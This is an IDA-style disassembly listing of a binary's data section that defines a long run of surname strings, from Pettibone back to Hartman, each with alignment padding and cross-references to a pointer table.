aPettibone	db 'Pettibone',0        ; DATA XREF: .data:0042E9DCo
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: .data:0042E9D8o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .data:0042E9D4o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .data:0042E9D0o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: .data:0042E9CCo
		align 4
aPerna		db 'Perna',0            ; DATA XREF: .data:0042E9C8o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: .data:0042E9C4o
aPerlak		db 'Perlak',0           ; DATA XREF: .data:0042E9C0o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: .data:0042E9BCo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .data:0042E9B8o
aPenny		db 'Penny',0            ; DATA XREF: .data:0042E9B4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .data:0042E9B0o
aPederson	db 'Pederson',0         ; DATA XREF: .data:0042E9ACo
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .data:0042E9A8o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: .data:0042E9A4o
aPaynter	db 'Paynter',0          ; DATA XREF: .data:0042E9A0o
aPawloski	db 'Pawloski',0         ; DATA XREF: .data:0042E99Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: .data:0042E998o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .data:0042E994o
aPattullo	db 'Pattullo',0         ; DATA XREF: .data:0042E990o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: .data:0042E98Co
aPatefield	db 'Patefield',0        ; DATA XREF: .data:0042E988o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .data:0042E984o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: .data:0042E980o
		align 4
aParris		db 'Parris',0           ; DATA XREF: .data:0042E97Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .data:0042E978o
aPaoletti	db 'Paoletti',0         ; DATA XREF: .data:0042E974o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .data:0042E970o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: .data:0042E96Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .data:0042E968o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .data:0042E964o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .data:0042E960o
aPalepu		db 'Palepu',0           ; DATA XREF: .data:0042E95Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .data:0042E958o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .data:0042E954o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .data:0042E950o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: .data:0042E94Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .data:0042E948o
aOtten		db 'Otten',0            ; DATA XREF: .data:0042E944o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .data:0042E940o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .data:0042E93Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: .data:0042E938o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: .data:0042E934o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: .data:0042E930o
aOray		db 'Oray',0             ; DATA XREF: .data:0042E92Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: .data:0042E928o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .data:0042E924o
aOman		db 'Oman',0             ; DATA XREF: .data:0042E920o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .data:0042E91Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .data:0042E918o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: .data:0042E914o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: .data:0042E910o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: .data:0042E90Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .data:0042E908o
aOh		db 'Oh',0               ; DATA XREF: .data:0042E904o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: .data:0042E900o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .data:0042E8FCo
aNuzum		db 'Nuzum',0            ; DATA XREF: .data:0042E8F8o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .data:0042E8F4o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .data:0042E8F0o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: .data:0042E8ECo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .data:0042E8E8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: .data:0042E8E4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .data:0042E8E0o
		align 4
aNg		db 'Ng',0               ; DATA XREF: .data:0042E8DCo
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: .data:0042E8D8o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .data:0042E8D4o
aNeuman		db 'Neuman',0           ; DATA XREF: .data:0042E8D0o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .data:0042E8CCo
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .data:0042E8C8o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: .data:0042E8C4o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: .data:0042E8C0o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .data:0042E8BCo
aNardone	db 'Nardone',0          ; DATA XREF: .data:0042E8B8o
aNardi		db 'Nardi',0            ; DATA XREF: .data:0042E8B4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .data:0042E8B0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .data:0042E8ACo
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: .data:0042E8A8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .data:0042E8A4o
aMulroy		db 'Mulroy',0           ; DATA XREF: .data:0042E8A0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .data:0042E89Co
aMugnai		db 'Mugnai',0           ; DATA XREF: .data:0042E898o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: .data:0042E894o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: .data:0042E890o
aMotooka	db 'Motooka',0          ; DATA XREF: .data:0042E88Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .data:0042E888o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: .data:0042E884o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .data:0042E880o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: .data:0042E87Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .data:0042E878o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: .data:0042E874o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: .data:0042E870o
aMorani		db 'Morani',0           ; DATA XREF: .data:0042E86Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .data:0042E868o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .data:0042E864o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .data:0042E860o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .data:0042E85Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: .data:0042E858o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .data:0042E854o
aModestino	db 'Modestino',0        ; DATA XREF: .data:0042E850o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .data:0042E84Co
aMittal		db 'Mittal',0           ; DATA XREF: .data:0042E848o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .data:0042E844o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .data:0042E840o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: .data:0042E83Co
aMini		db 'Mini',0             ; DATA XREF: .data:0042E838o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .data:0042E834o
		align 4
aMills		db 'Mills',0            ; DATA XREF: .data:0042E830o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .data:0042E82Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .data:0042E828o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .data:0042E824o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: .data:0042E820o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: .data:0042E81Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .data:0042E818o
aMerz		db 'Merz',0             ; DATA XREF: .data:0042E814o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: .data:0042E810o
aMerminod	db 'Merminod',0         ; DATA XREF: .data:0042E80Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .data:0042E808o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .data:0042E804o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .data:0042E800o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .data:0042E7FCo
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: .data:0042E7F8o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .data:0042E7F4o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .data:0042E7F0o
aMclaren	db 'Mclaren',0          ; DATA XREF: .data:0042E7ECo
aMclane		db 'Mclane',0           ; DATA XREF: .data:0042E7E8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .data:0042E7E4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .data:0042E7E0o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: .data:0042E7DCo
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .data:0042E7D8o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .data:0042E7D4o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: .data:0042E7D0o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .data:0042E7CCo
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .data:0042E7C8o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .data:0042E7C4o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .data:0042E7C0o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .data:0042E7BCo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .data:0042E7B8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .data:0042E7B4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: .data:0042E7B0o
aMay		db 'May',0              ; DATA XREF: .data:0042E7ACo
aMauzy		db 'Mauzy',0            ; DATA XREF: .data:0042E7A8o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .data:0042E7A4o
aMatsukata	db 'Matsukata',0        ; DATA XREF: .data:0042E7A0o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .data:0042E79Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .data:0042E798o
aMass		db 'Mass',0             ; DATA XREF: .data:0042E794o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .data:0042E790o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: .data:0042E78Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: .data:0042E788o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: .data:0042E784o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: .data:0042E780o
aMargetts	db 'Margetts',0         ; DATA XREF: .data:0042E77Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .data:0042E778o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: .data:0042E774o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .data:0042E770o
		align 4
aMarch		db 'March',0            ; DATA XREF: .data:0042E76Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: .data:0042E768o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: .data:0042E764o
aMandel		db 'Mandel',0           ; DATA XREF: .data:0042E760o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: .data:0042E75Co
aMalova		db 'Malova',0           ; DATA XREF: .data:0042E758o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: .data:0042E754o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: .data:0042E750o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: .data:0042E74Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .data:0042E748o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: .data:0042E744o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: .data:0042E740o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: .data:0042E73Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: .data:0042E738o
aMacy		db 'Macy',0             ; DATA XREF: .data:0042E734o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: .data:0042E730o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .data:0042E72Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: .data:0042E728o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .data:0042E724o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: .data:0042E720o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .data:0042E71Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: .data:0042E718o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .data:0042E714o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .data:0042E710o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: .data:0042E70Co
aLuoma		db 'Luoma',0            ; DATA XREF: .data:0042E708o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: .data:0042E704o
aLuecke		db 'Luecke',0           ; DATA XREF: .data:0042E700o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: .data:0042E6FCo
aLuciano	db 'Luciano',0          ; DATA XREF: .data:0042E6F8o
aLucas		db 'Lucas',0            ; DATA XREF: .data:0042E6F4o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .data:0042E6F0o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: .data:0042E6ECo
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .data:0042E6E8o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .data:0042E6E4o
aLoss		db 'Loss',0             ; DATA XREF: .data:0042E6E0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .data:0042E6DCo
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: .data:0042E6D8o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: .data:0042E6D4o
aLivolsi	db 'Livolsi',0          ; DATA XREF: .data:0042E6D0o
aLivi		db 'Livi',0             ; DATA XREF: .data:0042E6CCo
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .data:0042E6C8o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: .data:0042E6C4o
		align 4
aLittle		db 'Little',0           ; DATA XREF: .data:0042E6C0o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: .data:0042E6BCo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .data:0042E6B8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: .data:0042E6B4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: .data:0042E6B0o
aLine		db 'Line',0             ; DATA XREF: .data:0042E6ACo
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: .data:0042E6A8o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: .data:0042E6A4o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: .data:0042E6A0o
aLim		db 'Lim',0              ; DATA XREF: .data:0042E69Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .data:0042E698o
		align 4
aLight		db 'Light',0            ; DATA XREF: .data:0042E694o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: .data:0042E690o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .data:0042E68Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: .data:0042E688o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .data:0042E684o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: .data:0042E680o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .data:0042E67Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .data:0042E678o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .data:0042E674o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .data:0042E670o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: .data:0042E66Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: .data:0042E668o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: .data:0042E664o
aLashley	db 'Lashley',0          ; DATA XREF: .data:0042E660o
aLaserna	db 'Laserna',0          ; DATA XREF: .data:0042E65Co
aLanzit		db 'Lanzit',0           ; DATA XREF: .data:0042E658o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: .data:0042E654o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .data:0042E650o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .data:0042E64Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .data:0042E648o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .data:0042E644o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: .data:0042E640o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .data:0042E63Co
aLa		db 'La',0               ; DATA XREF: .data:0042E638o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .data:0042E634o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: .data:0042E630o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: .data:0042E62Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .data:0042E628o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .data:0042E624o
aKroemer	db 'Kroemer',0          ; DATA XREF: .data:0042E620o
aKraus		db 'Kraus',0            ; DATA XREF: .data:0042E61Co
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: .data:0042E618o
aKrailo		db 'Krailo',0           ; DATA XREF: .data:0042E614o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: .data:0042E610o
aKovaks		db 'Kovaks',0           ; DATA XREF: .data:0042E60Co
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: .data:0042E608o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: .data:0042E604o
		align 4
aKool		db 'Kool',0             ; DATA XREF: .data:0042E600o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .data:0042E5FCo
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .data:0042E5F8o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: .data:0042E5F4o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .data:0042E5F0o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .data:0042E5ECo
		align 4
aKoch		db 'Koch',0             ; DATA XREF: .data:0042E5E8o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .data:0042E5E4o
aKnuff		db 'Knuff',0            ; DATA XREF: .data:0042E5E0o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: .data:0042E5DCo
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .data:0042E5D8o
aKling		db 'Kling',0            ; DATA XREF: .data:0042E5D4o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: .data:0042E5D0o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .data:0042E5CCo
aKleiman	db 'Kleiman',0          ; DATA XREF: .data:0042E5C8o
aKleckner	db 'Kleckner',0         ; DATA XREF: .data:0042E5C4o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: .data:0042E5C0o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .data:0042E5BCo
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .data:0042E5B8o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: .data:0042E5B4o
aKindall	db 'Kindall',0          ; DATA XREF: .data:0042E5B0o
aKimura		db 'Kimura',0           ; DATA XREF: .data:0042E5ACo
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .data:0042E5A8o
aKimmel		db 'Kimmel',0           ; DATA XREF: .data:0042E5A4o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .data:0042E5A0o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: .data:0042E59Co
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: .data:0042E598o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: .data:0042E594o
aKemsley	db 'Kemsley',0          ; DATA XREF: .data:0042E590o
aKempton	db 'Kempton',0          ; DATA XREF: .data:0042E58Co
aKelsey		db 'Kelsey',0           ; DATA XREF: .data:0042E588o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: .data:0042E584o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: .data:0042E580o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: .data:0042E57Co
aKeenan		db 'Keenan',0           ; DATA XREF: .data:0042E578o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: .data:0042E574o
aKawachi	db 'Kawachi',0          ; DATA XREF: .data:0042E570o
aKasten		db 'Kasten',0           ; DATA XREF: .data:0042E56Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .data:0042E568o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .data:0042E564o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .data:0042E560o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .data:0042E55Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .data:0042E558o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .data:0042E554o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: .data:0042E550o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: .data:0042E54Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .data:0042E548o
aKafadar	db 'Kafadar',0          ; DATA XREF: .data:0042E544o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .data:0042E540o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: .data:0042E53Co
aJulious	db 'Julious',0          ; DATA XREF: .data:0042E538o
aJuliano	db 'Juliano',0          ; DATA XREF: .data:0042E534o
aJucks		db 'Jucks',0            ; DATA XREF: .data:0042E530o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .data:0042E52Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: .data:0042E528o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .data:0042E524o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: .data:0042E520o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .data:0042E51Co
aJewett		db 'Jewett',0           ; DATA XREF: .data:0042E518o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: .data:0042E514o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .data:0042E510o
aJellis		db 'Jellis',0           ; DATA XREF: .data:0042E50Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: .data:0042E508o
aJay		db 'Jay',0              ; DATA XREF: .data:0042E504o
aJarrell	db 'Jarrell',0          ; DATA XREF: .data:0042E500o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .data:0042E4FCo
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .data:0042E4F8o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: .data:0042E4F4o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: .data:0042E4F0o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .data:0042E4ECo
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: .data:0042E4E8o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: .data:0042E4E4o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: .data:0042E4E0o
aJacenko	db 'Jacenko',0          ; DATA XREF: .data:0042E4DCo
aIyer		db 'Iyer',0             ; DATA XREF: .data:0042E4D8o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: .data:0042E4D4o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .data:0042E4D0o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .data:0042E4CCo
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .data:0042E4C8o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: .data:0042E4C4o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .data:0042E4C0o
aIgarashi	db 'Igarashi',0         ; DATA XREF: .data:0042E4BCo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .data:0042E4B8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .data:0042E4B4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .data:0042E4B0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .data:0042E4ACo
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .data:0042E4A8o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .data:0042E4A4o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .data:0042E4A0o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: .data:0042E49Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .data:0042E498o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: .data:0042E494o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: .data:0042E490o
aHoward		db 'Howard',0           ; DATA XREF: .data:0042E48Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: .data:0042E488o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: .data:0042E484o
aHoshida	db 'Hoshida',0          ; DATA XREF: .data:0042E480o
aHorsley	db 'Horsley',0          ; DATA XREF: .data:0042E47Co
aHopkins	db 'Hopkins',0          ; DATA XREF: .data:0042E478o
aHooker		db 'Hooker',0           ; DATA XREF: .data:0042E474o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .data:0042E470o
aHolway		db 'Holway',0           ; DATA XREF: .data:0042E46Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: .data:0042E468o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .data:0042E464o
aHolmes		db 'Holmes',0           ; DATA XREF: .data:0042E460o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .data:0042E45Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: .data:0042E458o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: .data:0042E454o
aHoffer		db 'Hoffer',0           ; DATA XREF: .data:0042E450o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: .data:0042E44Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .data:0042E448o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .data:0042E444o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .data:0042E440o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .data:0042E43Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .data:0042E438o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: .data:0042E434o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: .data:0042E430o
aHester		db 'Hester',0           ; DATA XREF: .data:0042E42Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: .data:0042E428o
aHernandez	db 'Hernandez',0        ; DATA XREF: .data:0042E424o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .data:0042E420o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: .data:0042E41Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: .data:0042E418o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .data:0042E414o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .data:0042E410o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: .data:0042E40Co
aHeiland	db 'Heiland',0          ; DATA XREF: .data:0042E408o
aHeft		db 'Heft',0             ; DATA XREF: .data:0042E404o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: .data:0042E400o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .data:0042E3FCo
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .data:0042E3F8o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: .data:0042E3F4o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .data:0042E3F0o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: .data:0042E3ECo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .data:0042E3E8o
aHartnett	db 'Hartnett',0         ; DATA XREF: .data:0042E3E4o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: .data:0042E3E0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .data:0042E3DCo
